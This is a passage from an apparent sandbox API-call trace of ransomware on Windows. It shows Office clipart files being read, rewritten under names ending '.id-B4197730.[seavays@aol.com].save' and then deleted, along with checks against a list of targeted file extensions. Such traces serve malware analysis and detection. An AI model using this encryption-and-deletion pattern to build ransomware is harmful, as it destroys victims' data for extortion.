(in: hFile=0x394, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x4280, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x4280, lpOverlapped=0x0) returned 1 [0078.556] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.556] WriteFile (in: hFile=0x394, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0078.556] SetEndOfFile (hFile=0x394) returned 1 [0078.556] CloseHandle (hObject=0x394) returned 1 [0078.556] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.556] SetEndOfFile (hFile=0x2f0) returned 1 [0078.557] CloseHandle (hObject=0x2f0) returned 1 [0078.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0078.558] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf")) returned 1 [0078.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0078.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0078.558] lstrlenW (lpString=".doc") returned 4 [0078.558] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.558] lstrlenW (lpString=".docx") returned 5 [0078.558] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0078.558] lstrlenW (lpString=".pdf") returned 4 [0078.559] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.559] lstrlenW (lpString=".xls") returned 4 [0078.559] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.559] lstrlenW (lpString=".xlsx") returned 5 [0078.559] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0078.559] lstrlenW (lpString=".ppt") returned 4 [0078.559] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0078.559] lstrlenW (lpString=".zip") returned 4 [0078.559] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.559] lstrlenW (lpString=".rar") returned 4 [0078.559] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.559] lstrlenW (lpString=".bz2") returned 4 [0078.559] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.559] lstrlenW (lpString=".7z") returned 3 [0078.559] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0078.559] lstrlenW (lpString=".dbf") returned 4 [0078.559] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0078.559] lstrlenW (lpString=".1cd") returned 4 [0078.559] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0078.559] lstrlenW (lpString=".jpg") returned 4 [0078.559] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.560] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.560] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0078.561] GetLastError () returned 0x0 [0078.561] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x8a12, lpOverlapped=0x0) returned 1 [0078.563] WriteFile (in: hFile=0x394, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x8a20, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x8a20, lpOverlapped=0x0) returned 1 [0078.564] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.565] WriteFile (in: hFile=0x394, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0078.565] SetEndOfFile (hFile=0x394) returned 1 [0078.565] CloseHandle (hObject=0x394) returned 1 [0078.565] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.565] SetEndOfFile (hFile=0x2f0) returned 1 [0078.566] CloseHandle (hObject=0x2f0) returned 1 [0078.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0078.566] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf")) returned 1 [0078.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0078.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0078.567] lstrlenW (lpString=".doc") returned 4 [0078.567] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.567] lstrlenW (lpString=".docx") returned 5 [0078.567] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0078.567] lstrlenW (lpString=".pdf") returned 4 [0078.567] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.567] lstrlenW (lpString=".xls") returned 4 [0078.567] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.568] lstrlenW (lpString=".xlsx") returned 5 [0078.568] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0078.568] lstrlenW (lpString=".ppt") returned 4 [0078.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0078.568] lstrlenW (lpString=".zip") returned 4 [0078.568] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.568] lstrlenW (lpString=".rar") returned 4 [0078.568] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.568] lstrlenW (lpString=".bz2") returned 4 [0078.568] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.568] lstrlenW (lpString=".7z") returned 3 [0078.568] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0078.568] lstrlenW (lpString=".dbf") returned 4 [0078.568] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0078.568] lstrlenW (lpString=".1cd") returned 4 [0078.568] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0078.568] lstrlenW (lpString=".jpg") returned 4 [0078.568] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.569] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.569] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0078.570] GetLastError () returned 0x0 [0078.570] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x829a, lpOverlapped=0x0) returned 1 [0078.572] WriteFile (in: hFile=0x394, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x82a0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x82a0, lpOverlapped=0x0) returned 1 [0078.574] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.574] WriteFile (in: hFile=0x394, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0078.574] SetEndOfFile (hFile=0x394) returned 1 [0078.574] CloseHandle (hObject=0x394) returned 1 [0078.574] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.574] SetEndOfFile (hFile=0x2f0) returned 1 [0078.575] CloseHandle (hObject=0x2f0) returned 1 [0078.575] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0078.575] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf")) returned 1 [0078.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0078.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0078.576] lstrlenW (lpString=".doc") returned 4 [0078.576] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.576] lstrlenW (lpString=".docx") returned 5 [0078.576] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0078.576] lstrlenW (lpString=".pdf") returned 4 [0078.576] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.576] lstrlenW (lpString=".xls") returned 4 [0078.576] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.576] lstrlenW (lpString=".xlsx") returned 5 [0078.576] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0078.576] lstrlenW (lpString=".ppt") returned 4 [0078.577] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0078.577] lstrlenW (lpString=".zip") returned 4 [0078.577] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.577] lstrlenW (lpString=".rar") returned 4 [0078.577] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.577] lstrlenW (lpString=".bz2") returned 4 [0078.577] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.577] lstrlenW (lpString=".7z") returned 3 [0078.577] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0078.577] lstrlenW (lpString=".dbf") returned 4 [0078.577] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0078.577] lstrlenW (lpString=".1cd") returned 4 [0078.577] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0078.577] lstrlenW (lpString=".jpg") returned 4 [0078.577] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.578] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.578] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0078.579] GetLastError () returned 0x0 [0078.579] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x375e, lpOverlapped=0x0) returned 1 [0078.580] WriteFile (in: hFile=0x394, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x3760, lpOverlapped=0x0) returned 1 [0078.581] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.581] WriteFile (in: hFile=0x394, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0078.581] SetEndOfFile (hFile=0x394) returned 1 [0078.582] CloseHandle (hObject=0x394) returned 1 [0078.582] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.582] SetEndOfFile (hFile=0x2f0) returned 1 [0078.583] CloseHandle (hObject=0x2f0) returned 1 [0078.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0078.583] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf")) returned 1 [0078.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0078.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0078.584] lstrlenW (lpString=".doc") returned 4 [0078.584] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.584] lstrlenW (lpString=".docx") returned 5 [0078.584] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0078.584] lstrlenW (lpString=".pdf") returned 4 [0078.584] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.584] lstrlenW (lpString=".xls") returned 4 [0078.584] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.584] lstrlenW (lpString=".xlsx") returned 5 [0078.584] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0078.584] lstrlenW (lpString=".ppt") returned 4 [0078.584] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0078.584] lstrlenW (lpString=".zip") returned 4 [0078.584] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.584] lstrlenW (lpString=".rar") returned 4 [0078.584] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.584] lstrlenW (lpString=".bz2") returned 4 [0078.584] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.584] lstrlenW (lpString=".7z") returned 3 [0078.584] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0078.584] lstrlenW (lpString=".dbf") returned 4 [0078.584] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0078.584] lstrlenW (lpString=".1cd") returned 4 [0078.584] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0078.585] lstrlenW (lpString=".jpg") returned 4 [0078.585] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.585] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.585] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0078.586] GetLastError () returned 0x0 [0078.586] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x4dba, lpOverlapped=0x0) returned 1 [0078.982] WriteFile (in: hFile=0x394, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x4dc0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x4dc0, lpOverlapped=0x0) returned 1 [0078.984] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.984] WriteFile (in: hFile=0x394, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0078.984] SetEndOfFile (hFile=0x394) returned 1 [0078.984] CloseHandle (hObject=0x394) returned 1 [0078.984] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.985] SetEndOfFile (hFile=0x2f0) returned 1 [0078.986] CloseHandle (hObject=0x2f0) returned 1 [0078.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0078.987] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf")) returned 1 [0078.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0078.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0078.988] lstrlenW (lpString=".doc") returned 4 [0078.988] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.988] lstrlenW (lpString=".docx") returned 5 [0078.988] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0078.988] lstrlenW (lpString=".pdf") returned 4 [0078.988] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.988] lstrlenW (lpString=".xls") returned 4 [0078.988] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.988] lstrlenW (lpString=".xlsx") returned 5 [0078.988] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0078.988] lstrlenW (lpString=".ppt") returned 4 [0078.988] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0078.988] lstrlenW (lpString=".zip") returned 4 [0078.988] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.988] lstrlenW (lpString=".rar") returned 4 [0078.988] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.988] lstrlenW (lpString=".bz2") returned 4 [0078.988] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.988] lstrlenW (lpString=".7z") returned 3 [0078.988] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0078.988] lstrlenW (lpString=".dbf") returned 4 [0078.988] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0078.988] lstrlenW (lpString=".1cd") returned 4 [0078.988] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0078.988] lstrlenW (lpString=".jpg") returned 4 [0078.988] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.990] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.990] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0078.990] GetLastError () returned 0x0 [0078.990] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x60b7, lpOverlapped=0x0) returned 1 [0078.992] WriteFile (in: hFile=0x394, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x60c0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x60c0, lpOverlapped=0x0) returned 1 [0078.994] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.994] WriteFile (in: hFile=0x394, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0078.994] SetEndOfFile (hFile=0x394) returned 1 [0078.995] CloseHandle (hObject=0x394) returned 1 [0078.995] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.995] SetEndOfFile (hFile=0x2f0) returned 1 [0078.996] CloseHandle (hObject=0x2f0) returned 1 [0078.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0078.996] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg")) returned 1 [0078.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0078.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0078.997] lstrlenW (lpString=".doc") returned 4 [0078.997] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0078.997] lstrlenW (lpString=".docx") returned 5 [0078.997] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0078.997] lstrlenW (lpString=".pdf") returned 4 [0078.997] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0078.997] lstrlenW (lpString=".xls") returned 4 [0078.997] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0078.997] lstrlenW (lpString=".xlsx") returned 5 [0078.997] lstrcmpiW (lpString1=".xlsx", 